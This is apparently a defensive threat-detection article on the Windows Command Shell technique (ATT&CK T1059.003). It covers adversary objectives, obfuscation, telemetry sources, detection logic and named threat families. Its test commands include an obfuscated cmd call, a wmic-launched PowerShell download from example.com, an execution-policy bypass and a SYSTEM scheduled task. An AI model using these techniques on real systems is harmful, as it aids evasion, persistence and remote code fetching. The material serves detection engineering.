T1059.003 - Windows Command Shell

Windows Command Shell remains a favorite among adversaries because it can call on virtually any executable on the system to execute batch files and arbitrary tasks. It consistently ranks among the most prevalent adversary techniques observed year after year, even though it mostly plays a supporting role in broader attack chains.

Unlike its more capable cousin PowerShell, Windows Command Shell's native feature set has remained largely unchanged for decades. Yet its ubiquity across every version of the Windows operating system, combined with its ability to invoke virtually any binary on the system, makes it an indispensable tool in the adversary's playbook.

Malicious Objectives for Windows Command Shell

Adversaries abuse the Windows Command Shell to achieve a broad range of malicious goals across multiple stages of an attack:

• Obfuscate malicious activity - Evade detection and delay analysis by encoding or mangling commands using environment variable substrings, caret symbols, double quotes, and other shell metacharacters.

• Collect system information - Use built-in commands like type to read configuration files, source code, and sensitive system data such as %windir%\system32\drivers\etc\hosts.

• Modify systems - Alter system settings by adding entries to the hosts file or redirecting shell output using the built-in echo command.

• Execute binaries - Launch native Windows binaries, adversary-dropped executables, or interpreters such as PowerShell, CScript, and WScript, either directly or through batch files.

• Bypass security controls - Abuse obscure file system features such as symlinks and directory junctions via the mklink command to access data the adversary would not normally have rights to, including files stored in volume shadow copies.

Mechanisms of Windows Command Shell

Obfuscation

Obfuscation is one of the most common ways adversaries weaponize the command shell. By mangling commands with shell-legal but unusual syntax, adversaries can evade signature-based detection while still producing a valid, executable command string.

Common obfuscation indicators include gratuitous use of:

• Environment variable substrings (e.g., %LOCALAPPDATA:~-3,1%)

• for loops

• Double quotes within command strings

• Caret (^) symbols

• Parentheses, commas, and semicolons

• Random or meaningless variable names

If your detection logic looks for specific strings like powershell.exe, it may be completely blind to commands like P^ow""ersh""ell. Tools like Invoke-DOSfuscation by Daniel Bohannon document these obfuscation methods in depth.

Information Gathering

The shell's built-in type command allows adversaries to display the contents of any readable file, from the hosts file to sensitive application source code. Combined with shell redirection operators (> and >>), it can be used to copy files, including binaries, without ever invoking the copy command itself.

System Modification

Adversaries can use cmd.exe to modify system behavior directly. Appending entries to the \hosts file can redirect DNS resolution, and the echo command combined with redirection can write arbitrary content to files on disk.

Executing Binaries and Batch Files

cmd.exe can launch virtually any executable on the system. When combined with batch file support and the shell's built-in capabilities, adversaries can chain multiple commands and operations into automated, repeatable attack sequences, from downloading payloads to establishing persistence.

Bypassing Security Controls

The mklink command, built into Windows Command Shell, creates symbolic links and directory junctions. Adversaries abuse this to access data stored in restricted locations, such as sensitive files within volume shadow copies, that they would not otherwise have permission to read.

Masquerading and Process Renaming

Adversaries often change the names of system utilities to confuse defenders because what might seem suspicious under one process name could appear completely normal under another. A renamed cmd.exe, disguised as svchost.exe, explorer.exe, or any other trusted Windows binary name, can slip past detection rules that rely on process name matching. This means detections built solely around the string cmd.exe are inherently incomplete. Defenders should correlate process image path, original file name metadata (available via Sysmon and EDR tools), parent-child relationships, and command-line content together, rather than trusting the process name alone.

ATT&CK Technique Co-occurrences

Windows Command Shell frequently co-occurs with:

• PowerShell (T1059.001) - Often invoked through cmd.exe with execution policy bypass flags

• Scheduled Task/Job (T1053) - Persistent execution via schtasks.exe creating tasks that spawn cmd.exe

• Ingress Tool Transfer (T1105) - Command shell used to download and execute remote payloads

• Obfuscated Files or Information (T1027) - Heavy use of obfuscation techniques to evade detection

Actions That Need to be Taken

Because Windows Command Shell is so versatile, it is difficult to restrict without impacting legitimate operations. However, much of the malicious activity observed involves obfuscation, which can be mitigated using Microsoft Defender Antivirus's "Block execution of potentially obfuscated scripts" attack surface reduction (ASR) rule.

This rule can be set to audit or enforcement mode. Events are logged under:

• Event ID 1121 - Enforcement mode triggered

• Event ID 1122 - Audit mode triggered

Both are recorded in the Windows Defender (Operational) event log.

Visibility

Command Execution

Given adversaries' affinity for obfuscation, some of the most effective detection analytics are those that look for characters and strings commonly associated with obfuscation, without needing to know the full decoded content of a command. Because cmd.exe is so often used to execute more useful system binaries, monitoring for those binaries executing with suspicious parameters is also highly valuable.

Process Creation, Access, Metadata, and Modification

Monitoring process relationships adds important context. For example, Microsoft Office products spawning a Windows Command Shell may generate false positives on its own, but combined with suspicious command-line parameters, outbound network connections to external domains, or cross-process events targeting critical processes like lsass.exe, the same analytic becomes high fidelity. Detection logic targeting cmd.exe or its child processes injecting threads into lsass.exe is generally a strong, reliable signal.

Network Communication

Network connections from cmd.exe are often benign, but monitoring for connections to suspicious top-level domains or domains commonly associated with malicious infrastructure adds value, especially when combined with other behavioral indicators.

File Creation and Modification

File events in the context of cmd.exe spawning from unusual parents are a rich detection source. If mshta.exe spawns cmd.exe and that child process writes an unknown executable to disk, or copies a binary to an unusual directory, it warrants immediate investigation. The same logic applies to w3wp.exe (IIS worker process) and other Microsoft-signed processes.

Detection Technology

Windows Security Event ID 4688: Process Creation

Process creation events with command-line argument logging enabled represent the best native telemetry source for detecting malicious use of Windows Command Shell. Building a solid baseline of legitimate scripts and processes that call cmd.exe is essential to reduce noise. Enable this via Advanced Audit Policy > Detailed Tracking > Audit Process Creation, and enable command-line capture in Administrative Templates > System > Audit Process Creation.

Sysmon Event ID 1: Process Creation

Sysmon process creation events provide detailed visibility into process starts and their corresponding command lines. Like Event ID 4688, this is a primary source of telemetry for detecting adversarial abuse of cmd.exe, with the added benefit of configurable filtering and enriched process metadata.

Sysmon Event ID 11: File Creation

File creation events fire whenever a file is created or overwritten. While inherently noisy without tuning, Event ID 11 can be used to track files written by cmd.exe or processes spawned from it, providing valuable insight into adversaries dropping payloads or copying binaries to unusual locations.

Endpoint Detection and Response (EDR) Tools

Most commercial EDR products provide detailed visibility into all of the data sources above, including process creation, command-line arguments, file events, network connections, and cross-process activity. EDR telemetry is the most complete and operationally practical source for detecting adversaries abusing Windows Command Shell at scale.

Possible Use Cases

Detecting Obfuscated Commands

Detecting obfuscation in the command shell requires looking for an unusual density of metacharacters in the command line. The trick is calibrating the threshold so that normal and anomalous-but-benign usage does not generate alert fatigue.

process == cmd.exe
&&
command_includes [high numbers of the following characters] ('^' || '=' || '%' || '!' || '[' || '(' || ';')

Test command - obfuscated execution using environment variable substring:

cmd

%LOCALAPPDATA:~-3,1%md /c echo "tweet, tweet" > tweet.txt & type tweet.txt

Unusual or Suspicious Process Ancestry

Many high-value detections come from catching cmd.exe spawned by processes that should never launch a command shell in normal operation. One common pattern is the IIS worker process (w3wp.exe) spawning cmd.exe, which is a strong indicator of web shell activity or server-side exploitation.

parent_process == w3wp.exe
&&
process == cmd.exe
&&
command_includes ('http://' || 'https://' || 'echo')
||
child_process == powershell.exe

Test command - cmd.exe spawning as a child of wmiprvse.exe:

cmd

wmic process call create CommandLine="cmd /c powershell.exe -C Write-Host ([Net.WebClient]::new().DownloadString('https://example.com/payload.txt'))"

Bypassing Security Controls

A simple but reliable detection for adversaries using cmd.exe to launch PowerShell while bypassing execution policy:

process == cmd.exe
&&
command_includes ('bypass' || '-exec')

Test command:

cmd

echo Write-Host "Hello, World!" > test.ps1
cmd /c powershell.exe -exec bypass -file test.ps1

Windows Scheduled Task Spawning Command Shell

Adversaries frequently establish persistence by creating scheduled tasks that launch cmd.exe. This is a straightforward pattern to detect.

process == schtasks.exe
&&
command_includes ('create') && ('cmd.exe /c' || 'cmd /c')

Test command - creates a scheduled task running cmd.exe as SYSTEM:

cmd

schtasks /Create /SC DAILY /TN spawncmd /TR "cmd.exe /c echo tweet, tweet" /RU SYSTEM

Service Control Manager Spawning Command Shell

When services.exe spawns cmd.exe with echo or /c flags, it is a common post-exploitation pattern worth alerting on.

parent_process == 'services.exe'
&&
process == 'cmd.exe'
&&
command_includes ('echo' || '/c')

Windows Explorer Spawning Command Shell with start and exit

This pattern, where explorer.exe spawns cmd.exe with both start and exit, appears frequently across a wide variety of malware families and deserves a dedicated detection.

parent_process == 'explorer.exe'
&&
process == 'cmd.exe'
&&
command_includes ('start' && 'exit')

Real-life Example

Several active and well-documented threat actors use Windows Command Shell as part of their toolchain:

KongTuke is a loader that uses cmd.exe to stage and execute subsequent payloads. It commonly arrives through malvertising and fake browser update lures, relying on the command shell to chain downloads and script execution.

Scarlet Goldfinch abuses cmd.exe to execute encoded payloads and launch secondary interpreters. Its activity chain typically involves obfuscated command-line strings that match the obfuscation detection patterns described above.

Gamarue (also known as Andromeda) is a long-running botnet family that uses Windows Command Shell for lateral movement, file execution, and persistence via scheduled tasks and registry modifications.

JustAskJacky is a social engineering-driven threat that tricks users into manually running cmd.exe commands, a technique that bypasses traditional endpoint controls entirely by relying on user-initiated execution.

Browser Assistant uses cmd.exe as a launching point for browser hijacking and adware installation, typically spawning from unusual parent processes and writing files to user directories.